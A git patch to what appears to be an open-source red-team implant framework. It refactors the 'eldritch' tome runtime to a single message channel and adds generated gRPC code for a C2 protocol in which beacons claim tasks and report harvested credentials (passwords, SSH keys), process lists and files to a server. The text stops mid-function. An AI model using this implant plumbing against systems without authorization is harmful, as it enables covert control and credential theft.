From 74583fd5de44d834a83624e0397c2a0571d69b20 Mon Sep 17 00:00:00 2001 From: KCarretto Date: Wed, 14 Feb 2024 07:32:31 +0000 Subject: [PATCH 01/13] started refactor to message passing & dispatch API --- implants/Cargo.toml | 3 +- implants/lib/api/Cargo.toml | 17 + implants/lib/api/build.rs | 47 ++ implants/lib/api/src/generated/c2.rs | 430 ++++++++++++++++++ implants/lib/api/src/generated/eldritch.rs | 191 ++++++++ implants/lib/api/src/lib.rs | 8 + implants/lib/eldritch/Cargo.toml | 1 + .../lib/eldritch/src/runtime/environment.rs | 65 +-- .../eldritch/src/runtime/{exec.rs => eval.rs} | 168 +++---- .../src/runtime/messages/download_file.rs | 13 + .../lib/eldritch/src/runtime/messages/mod.rs | 39 ++ .../src/runtime/messages/report_error.rs | 30 ++ .../src/runtime/messages/report_file.rs | 14 + .../runtime/messages/report_process_list.rs | 20 + .../src/runtime/messages/report_text.rs | 28 ++ .../src/runtime/messages/transport.rs | 35 ++ implants/lib/eldritch/src/runtime/mod.rs | 6 +- 17 files changed, 944 insertions(+), 171 deletions(-) create mode 100644 implants/lib/api/Cargo.toml create mode 100644 implants/lib/api/build.rs create mode 100644 implants/lib/api/src/generated/c2.rs create mode 100644 implants/lib/api/src/generated/eldritch.rs create mode 100644 implants/lib/api/src/lib.rs rename implants/lib/eldritch/src/runtime/{exec.rs => eval.rs} (63%) create mode 100644 implants/lib/eldritch/src/runtime/messages/download_file.rs create mode 100644 implants/lib/eldritch/src/runtime/messages/mod.rs create mode 100644 implants/lib/eldritch/src/runtime/messages/report_error.rs create mode 100644 implants/lib/eldritch/src/runtime/messages/report_file.rs create mode 100644 implants/lib/eldritch/src/runtime/messages/report_process_list.rs create mode 100644 implants/lib/eldritch/src/runtime/messages/report_text.rs create mode 100644 implants/lib/eldritch/src/runtime/messages/transport.rs diff --git a/implants/Cargo.toml b/implants/Cargo.toml index d956c0fe6..4f46cd718 100644 --- a/implants/Cargo.toml +++ b/implants/Cargo.toml @@ -1,8 +1,9 @@ [workspace] -members = ["imix", "golem", "lib/eldritch", "lib/c2"] +members = ["imix", "golem", "lib/eldritch", "lib/c2", "lib/api"] resolver = "2" [workspace.dependencies] +api = { path = "./lib/api" } aes = "0.8.3" allocative = "0.3.2" allocative_derive = "0.3.2" diff --git a/implants/lib/api/Cargo.toml b/implants/lib/api/Cargo.toml new file mode 100644 index 000000000..cd5adaa84 --- /dev/null +++ b/implants/lib/api/Cargo.toml @@ -0,0 +1,17 @@ +[package] +name = "api" +version = "0.0.5" +edition = "2021" + +[dependencies] +log = { workspace = true } +tonic = { workspace = true, features = ["tls-roots"] } +prost = { workspace = true} +prost-types = { workspace = true } +tokio = { workspace = true, features = ["macros", "rt-multi-thread"] } +tokio-stream = { workspace = true } +anyhow = { workspace = true } + +[build-dependencies] +tonic-build = { workspace = true } +which = { workspace = true } diff --git a/implants/lib/api/build.rs b/implants/lib/api/build.rs new file mode 100644 index 000000000..8b17e8da0 --- /dev/null +++ b/implants/lib/api/build.rs @@ -0,0 +1,47 @@ +use std::env; +use std::path::PathBuf; +use which::which; + +fn main() -> Result<(), Box> { + // Skip if no `protoc` can be found + match env::var_os("PROTOC") + .map(PathBuf::from) + .or_else(|| which("protoc").ok()) + { + Some(_) => println!("Found protoc, protos will be generated"), + None => { + println!("WARNING: Failed to locate protoc, protos will not be generated"); + return Ok(()); + } + } + + // Build Eldritch Proto + match tonic_build::configure() + .out_dir("./src/generated/") + .build_client(false) + .build_server(false) + .compile(&["eldritch.proto"], &["../../../tavern/internal/c2/proto"]) + { + Err(err) => { + println!("WARNING: Failed to compile eldritch protos: {}", err); + panic!("{}", err); + } + Ok(_) => println!("generated eldritch protos"), + }; + + // Build C2 Protos + match tonic_build::configure() + .out_dir("./src/generated") + .build_server(false) + .extern_path(".eldritch", "crate::pb::eldritch") + .compile(&["c2.proto"], &["../../../tavern/internal/c2/proto/"]) + { + Err(err) => { + println!("WARNING: Failed to compile c2 protos: {}", err); + panic!("{}", err); + } + Ok(_) => println!("generated c2 protos"), + }; + + Ok(()) +} diff --git a/implants/lib/api/src/generated/c2.rs b/implants/lib/api/src/generated/c2.rs new file mode 100644 index 000000000..7ece946ae --- /dev/null +++ b/implants/lib/api/src/generated/c2.rs @@ -0,0 +1,430 @@ +/// Agent information to identify the type of beacon. +#[allow(clippy::derive_partial_eq_without_eq)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct Agent { + #[prost(string, tag = "1")] + pub identifier: ::prost::alloc::string::String, +} +/// Beacon information that is unique to the current running beacon. +#[allow(clippy::derive_partial_eq_without_eq)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct Beacon { + #[prost(string, tag = "1")] + pub identifier: ::prost::alloc::string::String, + #[prost(string, tag = "2")] + pub principal: ::prost::alloc::string::String, + #[prost(message, optional, tag = "3")] + pub host: ::core::option::Option, + #[prost(message, optional, tag = "4")] + pub agent: ::core::option::Option, + /// Duration until next callback, in seconds. + #[prost(uint64, tag = "5")] + pub interval: u64, +} +/// Host information for the system a beacon is running on. +#[allow(clippy::derive_partial_eq_without_eq)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct Host { + #[prost(string, tag = "1")] + pub identifier: ::prost::alloc::string::String, + #[prost(string, tag = "2")] + pub name: ::prost::alloc::string::String, + #[prost(enumeration = "host::Platform", tag = "3")] + pub platform: i32, + #[prost(string, tag = "4")] + pub primary_ip: ::prost::alloc::string::String, +} +/// Nested message and enum types in `Host`. +pub mod host { + #[derive( + Clone, + Copy, + Debug, + PartialEq, + Eq, + Hash, + PartialOrd, + Ord, + ::prost::Enumeration + )] + #[repr(i32)] + pub enum Platform { + Unspecified = 0, + Windows = 1, + Linux = 2, + Macos = 3, + Bsd = 4, + } + impl Platform { + /// String value of the enum field names used in the ProtoBuf definition. + /// + /// The values are not transformed in any way and thus are considered stable + /// (if the ProtoBuf definition does not change) and safe for programmatic use. + pub fn as_str_name(&self) -> &'static str { + match self { + Platform::Unspecified => "PLATFORM_UNSPECIFIED", + Platform::Windows => "PLATFORM_WINDOWS", + Platform::Linux => "PLATFORM_LINUX", + Platform::Macos => "PLATFORM_MACOS", + Platform::Bsd => "PLATFORM_BSD", + } + } + /// Creates an enum from field names used in the ProtoBuf definition. + pub fn from_str_name(value: &str) -> ::core::option::Option { + match value { + "PLATFORM_UNSPECIFIED" => Some(Self::Unspecified), + "PLATFORM_WINDOWS" => Some(Self::Windows), + "PLATFORM_LINUX" => Some(Self::Linux), + "PLATFORM_MACOS" => Some(Self::Macos), + "PLATFORM_BSD" => Some(Self::Bsd), + _ => None, + } + } + } +} +/// Task instructions for the beacon to execute. +#[allow(clippy::derive_partial_eq_without_eq)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct Task { + #[prost(int64, tag = "1")] + pub id: i64, + #[prost(message, optional, tag = "2")] + pub tome: ::core::option::Option, + #[prost(string, tag = "3")] + pub quest_name: ::prost::alloc::string::String, +} +/// TaskError provides information when task execution fails. +#[allow(clippy::derive_partial_eq_without_eq)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct TaskError { + #[prost(string, tag = "1")] + pub msg: ::prost::alloc::string::String, +} +/// TaskOutput provides information about a running task. +#[allow(clippy::derive_partial_eq_without_eq)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct TaskOutput { + #[prost(int64, tag = "1")] + pub id: i64, + #[prost(string, tag = "2")] + pub output: ::prost::alloc::string::String, + #[prost(message, optional, tag = "3")] + pub error: ::core::option::Option, + /// Indicates the UTC timestamp task execution began, set only in the first message for reporting. + #[prost(message, optional, tag = "4")] + pub exec_started_at: ::core::option::Option<::prost_types::Timestamp>, + /// Indicates the UTC timestamp task execution completed, set only in last message for reporting. + #[prost(message, optional, tag = "5")] + pub exec_finished_at: ::core::option::Option<::prost_types::Timestamp>, +} +/// +/// RPC Messages +#[allow(clippy::derive_partial_eq_without_eq)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct ClaimTasksRequest { + #[prost(message, optional, tag = "1")] + pub beacon: ::core::option::Option, +} +#[allow(clippy::derive_partial_eq_without_eq)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct ClaimTasksResponse { + #[prost(message, repeated, tag = "1")] + pub tasks: ::prost::alloc::vec::Vec, +} +#[allow(clippy::derive_partial_eq_without_eq)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct DownloadFileRequest { + #[prost(string, tag = "1")] + pub name: ::prost::alloc::string::String, +} +#[allow(clippy::derive_partial_eq_without_eq)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct DownloadFileResponse { + #[prost(bytes = "vec", tag = "1")] + pub chunk: ::prost::alloc::vec::Vec, +} +#[allow(clippy::derive_partial_eq_without_eq)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct ReportCredentialRequest { + #[prost(int64, tag = "1")] + pub task_id: i64, + #[prost(message, optional, tag = "2")] + pub credential: ::core::option::Option, +} +#[allow(clippy::derive_partial_eq_without_eq)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct ReportCredentialResponse {} +#[allow(clippy::derive_partial_eq_without_eq)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct ReportFileRequest { + #[prost(int64, tag = "1")] + pub task_id: i64, + #[prost(message, optional, tag = "2")] + pub chunk: ::core::option::Option, +} +#[allow(clippy::derive_partial_eq_without_eq)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct ReportFileResponse {} +#[allow(clippy::derive_partial_eq_without_eq)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct ReportProcessListRequest { + #[prost(int64, tag = "1")] + pub task_id: i64, + #[prost(message, optional, tag = "2")] + pub list: ::core::option::Option, +} +#[allow(clippy::derive_partial_eq_without_eq)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct ReportProcessListResponse {} +#[allow(clippy::derive_partial_eq_without_eq)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct ReportTaskOutputRequest { + #[prost(message, optional, tag = "1")] + pub output: ::core::option::Option, +} +#[allow(clippy::derive_partial_eq_without_eq)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct ReportTaskOutputResponse {} +/// Generated client implementations. +pub mod c2_client { + #![allow(unused_variables, dead_code, missing_docs, clippy::let_unit_value)] + use tonic::codegen::*; + use tonic::codegen::http::Uri; + #[derive(Debug, Clone)] + pub struct C2Client { + inner: tonic::client::Grpc, + } + impl C2Client { + /// Attempt to create a new client by connecting to a given endpoint. + pub async fn connect(dst: D) -> Result + where + D: TryInto, + D::Error: Into, + { + let conn = tonic::transport::Endpoint::new(dst)?.connect().await?; + Ok(Self::new(conn)) + } + } + impl C2Client + where + T: tonic::client::GrpcService, + T::Error: Into, + T::ResponseBody: Body + Send + 'static, + ::Error: Into + Send, + { + pub fn new(inner: T) -> Self { + let inner = tonic::client::Grpc::new(inner); + Self { inner } + } + pub fn with_origin(inner: T, origin: Uri) -> Self { + let inner = tonic::client::Grpc::with_origin(inner, origin); + Self { inner } + } + pub fn with_interceptor( + inner: T, + interceptor: F, + ) -> C2Client> + where + F: tonic::service::Interceptor, + T::ResponseBody: Default, + T: tonic::codegen::Service< + http::Request, + Response = http::Response< + >::ResponseBody, + >, + >, + , + >>::Error: Into + Send + Sync, + { + C2Client::new(InterceptedService::new(inner, interceptor)) + } + /// Compress requests with the given encoding. + /// + /// This requires the server to support it otherwise it might respond with an + /// error. + #[must_use] + pub fn send_compressed(mut self, encoding: CompressionEncoding) -> Self { + self.inner = self.inner.send_compressed(encoding); + self + } + /// Enable decompressing responses. + #[must_use] + pub fn accept_compressed(mut self, encoding: CompressionEncoding) -> Self { + self.inner = self.inner.accept_compressed(encoding); + self + } + /// Limits the maximum size of a decoded message. + /// + /// Default: `4MB` + #[must_use] + pub fn max_decoding_message_size(mut self, limit: usize) -> Self { + self.inner = self.inner.max_decoding_message_size(limit); + self + } + /// Limits the maximum size of an encoded message. + /// + /// Default: `usize::MAX` + #[must_use] + pub fn max_encoding_message_size(mut self, limit: usize) -> Self { + self.inner = self.inner.max_encoding_message_size(limit); + self + } + /// + /// Contact the server for new tasks to execute. + pub async fn claim_tasks( + &mut self, + request: impl tonic::IntoRequest, + ) -> std::result::Result< + tonic::Response, + tonic::Status, + > { + self.inner + .ready() + .await + .map_err(|e| { + tonic::Status::new( + tonic::Code::Unknown, + format!("Service was not ready: {}", e.into()), + ) + })?; + let codec = tonic::codec::ProstCodec::default(); + let path = http::uri::PathAndQuery::from_static("/c2.C2/ClaimTasks"); + let mut req = request.into_request(); + req.extensions_mut().insert(GrpcMethod::new("c2.C2", "ClaimTasks")); + self.inner.unary(req, path, codec).await + } + /// + /// Download a file from the server, returning one or more chunks of data. + /// The maximum size of these chunks is determined by the server. + /// The server should reply with two headers: + /// - "sha3-256-checksum": A SHA3-256 digest of the entire file contents. + /// - "file-size": The number of bytes contained by the file. + /// + /// If no associated file can be found, a NotFound status error is returned. + pub async fn download_file( + &mut self, + request: impl tonic::IntoRequest, + ) -> std::result::Result< + tonic::Response>, + tonic::Status, + > { + self.inner + .ready() + .await + .map_err(|e| { + tonic::Status::new( + tonic::Code::Unknown, + format!("Service was not ready: {}", e.into()), + ) + })?; + let codec = tonic::codec::ProstCodec::default(); + let path = http::uri::PathAndQuery::from_static("/c2.C2/DownloadFile"); + let mut req = request.into_request(); + req.extensions_mut().insert(GrpcMethod::new("c2.C2", "DownloadFile")); + self.inner.server_streaming(req, path, codec).await + } + /// + /// Report a credential from the host to the server. + pub async fn report_credential( + &mut self, + request: impl tonic::IntoRequest, + ) -> std::result::Result< + tonic::Response, + tonic::Status, + > { + self.inner + .ready() + .await + .map_err(|e| { + tonic::Status::new( + tonic::Code::Unknown, + format!("Service was not ready: {}", e.into()), + ) + })?; + let codec = tonic::codec::ProstCodec::default(); + let path = http::uri::PathAndQuery::from_static("/c2.C2/ReportCredential"); + let mut req = request.into_request(); + req.extensions_mut().insert(GrpcMethod::new("c2.C2", "ReportCredential")); + self.inner.unary(req, path, codec).await + } + /// + /// Report a file from the host to the server. + /// Providing content of the file is optional. If content is provided: + /// - Hash will automatically be calculated and the provided hash will be ignored. + /// - Size will automatically be calculated and the provided size will be ignored. + /// Content is provided as chunks, the size of which are up to the agent to define (based on memory constraints). + /// Any existing files at the provided path for the host are replaced. + pub async fn report_file( + &mut self, + request: impl tonic::IntoStreamingRequest, + ) -> std::result::Result< + tonic::Response, + tonic::Status, + > { + self.inner + .ready() + .await + .map_err(|e| { + tonic::Status::new( + tonic::Code::Unknown, + format!("Service was not ready: {}", e.into()), + ) + })?; + let codec = tonic::codec::ProstCodec::default(); + let path = http::uri::PathAndQuery::from_static("/c2.C2/ReportFile"); + let mut req = request.into_streaming_request(); + req.extensions_mut().insert(GrpcMethod::new("c2.C2", "ReportFile")); + self.inner.client_streaming(req, path, codec).await + } + /// + /// Report the active list of running processes. This list will replace any previously reported + /// lists for the same host. + pub async fn report_process_list( + &mut self, + request: impl tonic::IntoRequest, + ) -> std::result::Result< + tonic::Response, + tonic::Status, + > { + self.inner + .ready() + .await + .map_err(|e| { + tonic::Status::new( + tonic::Code::Unknown, + format!("Service was not ready: {}", e.into()), + ) + })?; + let codec = tonic::codec::ProstCodec::default(); + let path = http::uri::PathAndQuery::from_static("/c2.C2/ReportProcessList"); + let mut req = request.into_request(); + req.extensions_mut().insert(GrpcMethod::new("c2.C2", "ReportProcessList")); + self.inner.unary(req, path, codec).await + } + /// + /// Report execution output for a task. + pub async fn report_task_output( + &mut self, + request: impl tonic::IntoRequest, + ) -> std::result::Result< + tonic::Response, + tonic::Status, + > { + self.inner + .ready() + .await + .map_err(|e| { + tonic::Status::new( + tonic::Code::Unknown, + format!("Service was not ready: {}", e.into()), + ) + })?; + let codec = tonic::codec::ProstCodec::default(); + let path = http::uri::PathAndQuery::from_static("/c2.C2/ReportTaskOutput"); + let mut req = request.into_request(); + req.extensions_mut().insert(GrpcMethod::new("c2.C2", "ReportTaskOutput")); + self.inner.unary(req, path, codec).await + } + } +} diff --git a/implants/lib/api/src/generated/eldritch.rs b/implants/lib/api/src/generated/eldritch.rs new file mode 100644 index 000000000..15f376f8f --- /dev/null +++ b/implants/lib/api/src/generated/eldritch.rs @@ -0,0 +1,191 @@ +/// Tome for eldritch to execute. +#[allow(clippy::derive_partial_eq_without_eq)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct Tome { + #[prost(string, tag = "1")] + pub eldritch: ::prost::alloc::string::String, + #[prost(map = "string, string", tag = "2")] + pub parameters: ::std::collections::HashMap< + ::prost::alloc::string::String, + ::prost::alloc::string::String, + >, + #[prost(string, repeated, tag = "3")] + pub file_names: ::prost::alloc::vec::Vec<::prost::alloc::string::String>, +} +/// Credential reported on the host system. +#[allow(clippy::derive_partial_eq_without_eq)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct Credential { + #[prost(string, tag = "1")] + pub principal: ::prost::alloc::string::String, + #[prost(string, tag = "2")] + pub secret: ::prost::alloc::string::String, + #[prost(enumeration = "credential::Kind", tag = "3")] + pub kind: i32, +} +/// Nested message and enum types in `Credential`. +pub mod credential { + #[derive( + Clone, + Copy, + Debug, + PartialEq, + Eq, + Hash, + PartialOrd, + Ord, + ::prost::Enumeration + )] + #[repr(i32)] + pub enum Kind { + Unspecified = 0, + Password = 1, + SshKey = 2, + } + impl Kind { + /// String value of the enum field names used in the ProtoBuf definition. + /// + /// The values are not transformed in any way and thus are considered stable + /// (if the ProtoBuf definition does not change) and safe for programmatic use. + pub fn as_str_name(&self) -> &'static str { + match self { + Kind::Unspecified => "KIND_UNSPECIFIED", + Kind::Password => "KIND_PASSWORD", + Kind::SshKey => "KIND_SSH_KEY", + } + } + /// Creates an enum from field names used in the ProtoBuf definition. + pub fn from_str_name(value: &str) -> ::core::option::Option { + match value { + "KIND_UNSPECIFIED" => Some(Self::Unspecified), + "KIND_PASSWORD" => Some(Self::Password), + "KIND_SSH_KEY" => Some(Self::SshKey), + _ => None, + } + } + } +} +/// Process running on the host system. +#[allow(clippy::derive_partial_eq_without_eq)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct Process { + #[prost(uint64, tag = "1")] + pub pid: u64, + #[prost(uint64, tag = "2")] + pub ppid: u64, + #[prost(string, tag = "3")] + pub name: ::prost::alloc::string::String, + #[prost(string, tag = "4")] + pub principal: ::prost::alloc::string::String, + #[prost(string, tag = "5")] + pub path: ::prost::alloc::string::String, + #[prost(string, tag = "6")] + pub cmd: ::prost::alloc::string::String, + #[prost(string, tag = "7")] + pub env: ::prost::alloc::string::String, + #[prost(string, tag = "8")] + pub cwd: ::prost::alloc::string::String, + #[prost(enumeration = "process::Status", tag = "9")] + pub status: i32, +} +/// Nested message and enum types in `Process`. +pub mod process { + #[derive( + Clone, + Copy, + Debug, + PartialEq, + Eq, + Hash, + PartialOrd, + Ord, + ::prost::Enumeration + )] + #[repr(i32)] + pub enum Status { + Unspecified = 0, + Unknown = 1, + Idle = 2, + Run = 3, + Sleep = 4, + Stop = 5, + Zombie = 6, + Tracing = 7, + Dead = 8, + WakeKill = 9, + Waking = 10, + Parked = 11, + LockBlocked = 12, + UninteruptibleDiskSleep = 13, + } + impl Status { + /// String value of the enum field names used in the ProtoBuf definition. + /// + /// The values are not transformed in any way and thus are considered stable + /// (if the ProtoBuf definition does not change) and safe for programmatic use. + pub fn as_str_name(&self) -> &'static str { + match self { + Status::Unspecified => "STATUS_UNSPECIFIED", + Status::Unknown => "STATUS_UNKNOWN", + Status::Idle => "STATUS_IDLE", + Status::Run => "STATUS_RUN", + Status::Sleep => "STATUS_SLEEP", + Status::Stop => "STATUS_STOP", + Status::Zombie => "STATUS_ZOMBIE", + Status::Tracing => "STATUS_TRACING", + Status::Dead => "STATUS_DEAD", + Status::WakeKill => "STATUS_WAKE_KILL", + Status::Waking => "STATUS_WAKING", + Status::Parked => "STATUS_PARKED", + Status::LockBlocked => "STATUS_LOCK_BLOCKED", + Status::UninteruptibleDiskSleep => "STATUS_UNINTERUPTIBLE_DISK_SLEEP", + } + } + /// Creates an enum from field names used in the ProtoBuf definition. + pub fn from_str_name(value: &str) -> ::core::option::Option { + match value { + "STATUS_UNSPECIFIED" => Some(Self::Unspecified), + "STATUS_UNKNOWN" => Some(Self::Unknown), + "STATUS_IDLE" => Some(Self::Idle), + "STATUS_RUN" => Some(Self::Run), + "STATUS_SLEEP" => Some(Self::Sleep), + "STATUS_STOP" => Some(Self::Stop), + "STATUS_ZOMBIE" => Some(Self::Zombie), + "STATUS_TRACING" => Some(Self::Tracing), + "STATUS_DEAD" => Some(Self::Dead), + "STATUS_WAKE_KILL" => Some(Self::WakeKill), + "STATUS_WAKING" => Some(Self::Waking), + "STATUS_PARKED" => Some(Self::Parked), + "STATUS_LOCK_BLOCKED" => Some(Self::LockBlocked), + "STATUS_UNINTERUPTIBLE_DISK_SLEEP" => Some(Self::UninteruptibleDiskSleep), + _ => None, + } + } + } +} +/// ProcessList of running processes on the host system. +#[allow(clippy::derive_partial_eq_without_eq)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct ProcessList { + #[prost(message, repeated, tag = "1")] + pub list: ::prost::alloc::vec::Vec, +} +/// File on the host system. +#[allow(clippy::derive_partial_eq_without_eq)] +#[derive(Clone, PartialEq, ::prost::Message)] +pub struct File { + #[prost(string, tag = "1")] + pub path: ::prost::alloc::string::String, + #[prost(string, tag = "2")] + pub owner: ::prost::alloc::string::String, + #[prost(string, tag = "3")] + pub group: ::prost::alloc::string::String, + #[prost(string, tag = "4")] + pub permissions: ::prost::alloc::string::String, + #[prost(uint64, tag = "5")] + pub size: u64, + #[prost(string, tag = "6")] + pub sha3_256_hash: ::prost::alloc::string::String, + #[prost(bytes = "vec", tag = "7")] + pub chunk: ::prost::alloc::vec::Vec, +} diff --git a/implants/lib/api/src/lib.rs b/implants/lib/api/src/lib.rs new file mode 100644 index 000000000..ae1496d18 --- /dev/null +++ b/implants/lib/api/src/lib.rs @@ -0,0 +1,8 @@ +pub mod pb { + pub mod eldritch { + include!("generated/eldritch.rs"); + } + pub mod c2 { + include!("generated/c2.rs"); + } +} diff --git a/implants/lib/eldritch/Cargo.toml b/implants/lib/eldritch/Cargo.toml index a460d1311..9db913588 100644 --- a/implants/lib/eldritch/Cargo.toml +++ b/implants/lib/eldritch/Cargo.toml @@ -13,6 +13,7 @@ aes = { workspace = true } allocative = { workspace = true } allocative_derive = { workspace = true } anyhow = { workspace = true } +api = { workspace = true } async-recursion = { workspace = true } async-trait = { workspace = true } base64 = { workspace = true } diff --git a/implants/lib/eldritch/src/runtime/environment.rs b/implants/lib/eldritch/src/runtime/environment.rs index 6f4a8847d..d9a1327c3 100644 --- a/implants/lib/eldritch/src/runtime/environment.rs +++ b/implants/lib/eldritch/src/runtime/environment.rs @@ -1,3 +1,4 @@ +use super::{messages::ReportText, Message}; use crate::pb::{Credential, File, ProcessList}; use anyhow::{Context, Error, Result}; use starlark::{ @@ -24,12 +25,8 @@ impl FileRequest { #[derive(ProvidesStaticType)] pub struct Environment { - pub(super) tx_output: Sender, - pub(super) tx_error: Sender, - pub(super) tx_credential: Sender, - pub(super) tx_process_list: Sender, - pub(super) tx_file: Sender, - pub(super) tx_file_request: Sender, + pub(super) id: i64, + pub(super) tx: Sender, } impl Environment { @@ -43,55 +40,14 @@ impl Environment { .context("no runtime client present in evaluator") } - /* - * Report output of the tome execution. - */ - pub fn report_output(&self, output: String) -> Result<()> { - self.tx_output.send(output)?; - Ok(()) - } - - /* - * Report error during tome execution. - */ - pub fn report_error(&self, err: anyhow::Error) -> Result<()> { - self.tx_error.send(err)?; - Ok(()) - } - - /* - * Report a credential that was collected by the tome. - */ - pub fn report_credential(&self, credential: Credential) -> Result<()> { - self.tx_credential.send(credential)?; - Ok(()) - } - - /* - * Report a process list that was collected by the tome. - */ - pub fn report_process_list(&self, processes: ProcessList) -> Result<()> { - self.tx_process_list.send(processes)?; - Ok(()) + pub fn id(&self) -> i64 { + self.id } - /* - * Report a file that was collected by the tome. - */ - pub fn report_file(&self, f: File) -> Result<()> { - self.tx_file.send(f)?; + pub fn send(&self, msg: Message) -> Result<()> { + self.tx.send(msg)?; Ok(()) } - - /* - * Request a file from the caller of this runtime. - * This will return a channel of file chunks. - */ - pub fn request_file(&self, name: String) -> Result>> { - let (tx_data, data) = channel::>(); - self.tx_file_request.send(FileRequest { name, tx_data })?; - Ok(data) - } } /* @@ -99,7 +55,12 @@ impl Environment { */ impl PrintHandler for Environment { fn println(&self, text: &str) -> Result<()> { - self.report_output(text.to_string())?; + self.send(Message::ReportText(ReportText { + id: self.id, + text: String::from(text), + exec_started_at: None, + exec_finished_at: None, + }))?; #[cfg(feature = "print_stdout")] print!("{}", text); diff --git a/implants/lib/eldritch/src/runtime/exec.rs b/implants/lib/eldritch/src/runtime/eval.rs similarity index 63% rename from implants/lib/eldritch/src/runtime/exec.rs rename to implants/lib/eldritch/src/runtime/eval.rs index 05afb3b09..a2fcca346 100644 --- a/implants/lib/eldritch/src/runtime/exec.rs +++ b/implants/lib/eldritch/src/runtime/eval.rs @@ -7,6 +7,8 @@ use crate::{ pivot::PivotLibrary, process::ProcessLibrary, report::ReportLibrary, + runtime::messages, + runtime::Message, sys::SysLibrary, time::TimeLibrary, }; @@ -25,59 +27,65 @@ use starlark::{ use std::sync::mpsc::{channel, Receiver}; use tokio::task::JoinHandle; -pub async fn start(tome: Tome) -> Runtime { - let (tx_exec_started_at, rx_exec_started_at) = channel::(); - let (tx_exec_finished_at, rx_exec_finished_at) = channel::(); - let (tx_error, rx_error) = channel::(); - let (tx_output, rx_output) = channel::(); - let (tx_credential, rx_credential) = channel::(); - let (tx_process_list, rx_process_list) = channel::(); - let (tx_file, rx_file) = channel::(); - let (tx_file_request, rx_file_request) = channel::(); +pub async fn start(id: i64, tome: Tome) -> Runtime { + let (tx, rx) = channel::(); - let env = Environment { - tx_output, - tx_error: tx_error.clone(), - tx_credential, - tx_process_list, - tx_file, - tx_file_request, - }; + let env = Environment { id, tx }; let handle = tokio::task::spawn_blocking(move || { // Send exec_started_at let start = Utc::now(); - match tx_exec_started_at.send(Timestamp { - seconds: start.timestamp(), - nanos: start.timestamp_subsec_nanos() as i32, - }) { + match env.send(Message::ReportText(messages::ReportText { + id, + text: String::from(""), + exec_started_at: Some(Timestamp { + seconds: start.timestamp(), + nanos: start.timestamp_subsec_nanos() as i32, + }), + exec_finished_at: None, + })) { Ok(_) => {} Err(_err) => { #[cfg(debug_assertions)] - log::error!("failed to send exec_started_at (tome={:?}): {}", tome, _err); + log::error!( + "failed to send exec_started_at (task_id={}): {}", + env.id(), + _err + ); } } #[cfg(debug_assertions)] - log::info!("evaluating tome: {:?}", tome); + log::info!("evaluating tome (task_id={})", id); // Run Tome - match run_impl(env, &tome) { + match run_impl(&env, &tome) { Ok(_) => { #[cfg(debug_assertions)] - log::info!("tome evaluation successful (tome={:?})", tome); + log::info!("tome evaluation successful (task_id={})", id); } Err(err) => { #[cfg(debug_assertions)] - log::info!("tome evaluation failed (tome={:?}): {}", tome, err); + log::info!( + "tome evaluation failed (task_id={},tome={:?}): {}", + id, + tome, + err + ); // Report evaluation errors - match tx_error.send(err) { + match env.send(Message::ReportError(messages::ReportError { + id, + error: err, + exec_started_at: None, + exec_finished_at: None, + })) { Ok(_) => {} Err(_send_err) => { #[cfg(debug_assertions)] log::error!( - "failed to report tome evaluation error (tome={:?}): {}", + "failed to report tome evaluation error (task_id={},tome={:?}): {}", + id, tome, _send_err ); @@ -87,43 +95,37 @@ pub async fn start(tome: Tome) -> Runtime { }; // Send exec_finished_at - let end = Utc::now(); - match tx_exec_finished_at.send(Timestamp { - seconds: end.timestamp(), - nanos: end.timestamp_subsec_nanos() as i32, - }) { + let finish = Utc::now(); + match env.send(Message::ReportText(messages::ReportText { + id, + text: String::from(""), + exec_started_at: None, + exec_finished_at: Some(Timestamp { + seconds: finish.timestamp(), + nanos: finish.timestamp_subsec_nanos() as i32, + }), + })) { Ok(_) => {} Err(_err) => { #[cfg(debug_assertions)] - log::error!( - "failed to send exec_finished_at (tome={:?}): {}", - tome, - _err - ); + log::error!("failed to send exec_started_at (task_id={}): {}", id, _err); } } }); Runtime { handle: Some(handle), - rx_exec_started_at, - rx_exec_finished_at, - rx_error, - rx_output, - rx_credential, - rx_process_list, - rx_file, - rx_file_request, + rx, } } -fn run_impl(env: Environment, tome: &Tome) -> Result<()> { +fn run_impl(env: &Environment, tome: &Tome) -> Result<()> { let ast = Runtime::parse(tome).context("failed to parse tome")?; let module = Runtime::alloc_module(tome).context("failed to allocate module")?; let globals = Runtime::globals(); let mut eval: Evaluator = Evaluator::new(&module); - eval.extra = Some(&env); - eval.set_print_handler(&env); + eval.extra = Some(env); + eval.set_print_handler(env); match eval.eval_module(ast, &globals) { Ok(_) => Ok(()), @@ -140,17 +142,7 @@ fn run_impl(env: Environment, tome: &Tome) -> Result<()> { */ pub struct Runtime { handle: Option>, - rx_exec_started_at: Receiver, - // stdout_reporting: bool, - // exec_started_at: Receiver, - rx_exec_finished_at: Receiver, - rx_output: Receiver, - rx_error: Receiver, - rx_credential: Receiver, - rx_process_list: Receiver, - rx_file: Receiver, - rx_file_request: Receiver, - // client: Client, + rx: Receiver, } impl Runtime { @@ -259,60 +251,4 @@ impl Runtime { } }; } - - /* - * Returns the timestamp of when execution started, if available. - */ - pub fn get_exec_started_at(&self) -> Option { - drain_last(&self.rx_exec_started_at) - } - - /* - * Returns the timestamp of when execution finished, if available. - */ - pub fn get_exec_finished_at(&self) -> Option { - drain_last(&self.rx_exec_finished_at) - } - - /* - * Collects all currently available reported text output. - */ - pub fn collect_text(&self) -> Vec { - 